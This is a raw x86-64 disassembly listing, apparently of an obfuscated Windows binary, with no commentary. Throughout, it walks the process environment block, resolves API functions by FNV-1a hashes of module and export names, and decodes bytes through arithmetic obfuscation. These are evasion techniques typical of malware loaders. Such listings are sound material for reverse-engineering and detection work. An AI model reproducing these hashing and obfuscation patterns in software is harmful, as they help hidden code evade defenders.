jmp 0x140103ea7
mov r10b, r9b
lea ecx, [r10 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x390]
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x140103dc4
lea ecx, [r9 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x6d
jmp 0x140103ed5
mov r10b, r9b
lea ecx, [r10 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
add r10b, 0x7b
mov al, r10b
and al, r8b
add al, al
sub r10b, al
sub r10b, 0x5d
add r10b, r8b
movzx eax, r10b
mov byte [rbp + r9 + 0x390], al
add r11, r12
add rax, r11
sub r9, rax
jmp 0x140103ed5
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
jmp 0x140103eaa
lea ecx, [r9 + 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2d
jmp 0x140103e8a
mov r10b, r9b
lea ecx, [r10 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2f
sub r10b, r13b
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, r8b
sub r10b, r12b
mov byte [rbp + r9 + 0x390], r10b
jmp 0x140103e70
lea ecx, [r9 + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x39
add r11, r12
jmp 0x140103e8a
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x19
sub r9, r12
jmp 0x140103f2d
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x43
add rbx, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140103f2d
movabs rax, 0x9e5458755e4aef5
add rax, r9
and dl, al
add dl, dl
sub al, dl
lea edi, [r8 + rax]
add dil, 0x4d
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x390], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140103f1e
movabs rax, 0x9f89901e00560293
add rax, r9
and dl, al
add dl, dl
sub al, dl
lea edi, [r8 + rax]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x390]
add rax, r11
add r9, rax
add r9, r12
jmp 0x140103763
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x7b
jmp 0x14010374e
lea rdx, [rbp + 0x16dec7c]
jmp 0x140103f6a
lea rdx, [rbp + 0x7542ad]
jmp 0x140103f6a
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x370]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
xor eax, eax
mov r13d, 0xcded1a85
test rdx, rdx
jne 0x1401040e0
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140103ff7
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140103fe9
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140103fd8
cmp r9d, esi
jne 0x1401040d1
mov r11, qword [rcx + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401040d1
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401040d1
mov edi, dword [r10 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r11]
add r9, r11
mov r8d, 0x811c9dc5
jmp 0x14010404c
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14010403f
cmp r8d, r14d
je 0x140104061
test ebx, ebx
jne 0x14010402a
jmp 0x1401040d1
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1401040d9
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401040d9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401040a2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140104094
jmp 0x1401040b7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401040aa
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140103fac
mov qword [0x14017c650], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
xor eax, eax
test rbx, rbx
jne 0x140104258
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140104163
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140104155
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140104144
cmp r8d, esi
jne 0x140104233
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140104233
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140104233
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401041b7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401041ac
cmp edx, r14d
je 0x1401041cd
test r11d, r11d
jne 0x140104197
jmp 0x140104233
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r10
cmp rbx, r9
jbe 0x140104251
lea rcx, [r9 + rax]
cmp rbx, rcx
jae 0x140104251
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140104227
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140104204
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x14010421a
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010424c
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140104118
jmp 0x14010424e
xor eax, eax
mov rbx, rax
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
xor eax, eax
test rdx, rdx
jne 0x1401043d6
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401042e1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401042d3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401042c2
cmp r8d, esi
jne 0x1401043b1
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x1401043b1
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401043b1
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140104335
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010432a
cmp edx, r14d
je 0x14010434b
test r11d, r11d
jne 0x140104315
jmp 0x1401043b1
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x1401043cf
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1401043cf
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401043a5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140104382
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140104398
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401043ca
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140104296
jmp 0x1401043cc
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
xor eax, eax
test rdx, rdx
jne 0x14010454b
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140104456
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140104448
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140104437
cmp r8d, esi
jne 0x140104526
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140104526
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140104526
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401044aa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010449f
cmp edx, r14d
je 0x1401044c0
test r11d, r11d
jne 0x14010448a
jmp 0x140104526
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140104544
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x140104544
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010451a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401044f7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010450d
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010453f
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x14010440b
jmp 0x140104541
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
xor eax, eax
test rdx, rdx
jne 0x1401046c0
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401045cb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401045bd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401045ac
cmp r8d, esi
jne 0x14010469b
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14010469b
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010469b
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010461f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104614
cmp edx, r14d
je 0x140104635
test r11d, r11d
jne 0x1401045ff
jmp 0x14010469b
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x1401046b9
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x1401046b9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010468f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010466c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140104682
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401046b4
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140104580
jmp 0x1401046b6
xor eax, eax
mov rdx, rax
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14017c6d0], rax
jne 0x140104834
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010473d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010472f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010471e
cmp r8d, esi
jne 0x14010480f
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x14010480f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14010480f
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140104791
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104786
cmp edx, r14d
je 0x1401047a7
test r9d, r9d
jne 0x140104771
jmp 0x14010480f
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x14010482d
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x14010482d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140104802
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401047de
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1401047f5
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140104828
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1401046f2
jmp 0x14010482a
xor eax, eax
mov r9, rax
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x1401048b8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x140104891
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140104872
cmp r9d, 0x610c0de3
je 0x1401048a6
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x1401048ac
xor eax, eax
cmp qword [r8 + 0x30], rax
jne 0x140104857
jmp 0x1401048ae
mov r8, qword [r8 + 0x30]
jmp 0x1401048b1
xor eax, eax
mov r8, rax
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r8 + rax*4]
mov edx, dword [rcx + r11]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140104909
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1401048ed
cmp ecx, 0xe463da3c
je 0x14010490e
add r9d, edi
jmp 0x1401048d1
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor eax, eax
test r10, r10
jne 0x140104aaa
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401049ae
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401049a0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010498f
cmp r8d, esi
jne 0x140104a80
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x140104a80
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140104a80
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [r11 + r10*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140104a02
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401049f7
cmp edx, r14d
je 0x140104a18
test r10d, r10d
jne 0x1401049e2
jmp 0x140104a80
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r11
cmp r10, r9
jbe 0x140104a9e
lea rcx, [r9 + rax]
cmp r10, rcx
jae 0x140104a9e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140104a73
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140104a4f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140104a66
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140104a99
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140104963
jmp 0x140104a9b
xor eax, eax
mov r10, rax
mov qword [0x14017c778], r10
mov edi, 1
lea r9, [rbp + 0x56c]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
xor eax, eax
test r8, r8
jne 0x14010768c
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140104b3b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140104b2d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140104b1c
cmp r8d, esi
jne 0x140104c15
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140104c15
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140104c15
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140104b8f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104b84
cmp edx, r14d
je 0x140104ba5
test r11d, r11d
jne 0x140104b6f
jmp 0x140104c15
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x140107685
lea rcx, [r9 + rax]
cmp r8, rcx
jae 0x140107685
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140104c08
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x140104be4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x140104bfb
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140104c2e
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140104af0
jmp 0x140104c30
xor eax, eax
mov r8, rax
jmp 0x140107685
mov byte [rbp + 0x3d0], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d1], xmm0
mov word [rbp + 0x3e1], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x13
jae 0x140105469
movzx r8d, byte [rbp + r9 + 0x3d0]
mov r10d, r8d
cmp rbx, r9
ja 0x140105460
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x140104cb7
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x57
jmp 0x140104cf1
je 0x140105405
lea rax, [r11 + 2]
cmp rbx, rax
je 0x1401053b6
lea rax, [r11 + 5]
cmp rbx, rax
je 0x14010538e
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140105371
lea rax, [r11 + 4]
cmp rbx, rax
je 0x140105357
cmp r11, r9
ja 0x140105457
lea rax, [r11 + 0x28]
cmp rbx, rax
jae 0x140104d1a
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x140104d5b
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140105321
lea rax, [r11 + 2]
cmp rbx, rax
je 0x14010530a
lea rax, [r11 + 6]
cmp rbx, rax
je 0x1401052f0
lea rax, [r11 + 4]
cmp rbx, rax
je 0x1401052a8
lea rax, [r11 + 3]
cmp rbx, rax
je 0x14010528e
lea rax, [r11 + rbx]
cmp rax, r9
jbe 0x140104fea
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x140104fcd
lea rax, [r11 + 9]
cmp rbx, rax
je 0x140104fb3
lea rax, [r11 + 0x200]
cmp rbx, rax
je 0x140104f99
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140104f7c
lea rax, [r11 + 0x10]
cmp rbx, rax
je 0x140104d68
mov rbx, rax
lea r11, [rax + 0x10]
lea rax, [r11 + 0x400]
cmp rbx, rax
jb 0x14010543b
lea rax, [r11 + 3]
cmp rbx, rax
jb 0x140104e30
lea rax, [r11 + 0x28]
cmp rbx, rax
jb 0x140104edb
lea rax, [r11 + 0x61]
cmp rbx, rax
jb 0x140104eb9
mov rbx, rax
lea r11, [rax + 5]
lea rax, [r11 + 5]
cmp rbx, rax
ja 0x140104e9b
lea rax, [r11 + 0x42]
cmp rbx, rax
ja 0x140104e7e
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x140104e64
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x140104e4a
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x140104d68
mov rbx, rax
lea r11, [rax + 0x80]
jmp 0x140104d68
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x140104cf1
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14010536c
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401053a3
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r10b, r9b
jmp 0x1401052c0
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140105424
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x3d0], dil
jmp 0x140105433
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r11 + rbx]
cmp rax, 0xa
je 0x140105279
lea rax, [r11 + 0xa]
cmp rbx, rax
jbe 0x1401050d4
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x45
cmp rbx, r15
jae 0x140105230
lea rax, [r11 + 0x1000]
cmp rbx, rax
jbe 0x14010516d
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r11, 6
jb 0x140104ece
mov r10b, r9b
lea ecx, [r10 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x140105339
mov r10b, r9b
lea ecx, [r10 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x1401052c0
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1401053a3
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14010536c
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r10b, r9b
jmp 0x140105339
lea rax, [r11 + 0x41]
cmp rbx, rax
jae 0x14010500d
